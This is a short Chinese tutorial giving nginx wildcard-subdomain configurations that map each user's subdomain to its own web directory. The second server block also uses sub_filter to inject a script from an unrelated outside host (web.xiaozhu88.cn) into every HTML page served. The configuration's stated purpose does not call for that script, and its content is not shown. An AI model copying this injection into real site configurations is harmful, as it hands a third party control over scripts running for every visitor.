利用nginx泛域名解析配置二级域名和多域名,实现二级域名子站,用户个性独立子域名。
主要针对用户独立子域名这种情况,不可能在配置里面将用户子域名写完,因此需要通过nginx泛解析方式。
# 泛解析配置,匹配所有二级域名 server { listen 80; server_name ~^(?<subdomain>.+)\.m.xx\.com; # 动态设置根目录:二级域名作为目录名 root /www/wwwroot/muban.com/$subdomain; index index.html index.php; # 其他通用配置... }
# 泛解析配置,匹配所有二级域名 server { listen 80; server_name ~^(?<subdomain>.+)\.m.xxda\.xyz; # 动态设置根目录:二级域名作为目录名 root /www/wwwroot/muban.com/$subdomain; index index.html index.php; sub_filter '</head>' '<script src="https://web.xiaozhu88.cn/static/skin/js/banquan.js"></script></head>'; sub_filter_once on; # 只替换第一个匹配项 sub_filter_types text/html; # 仅对HTML生效 # 其他通用配置... }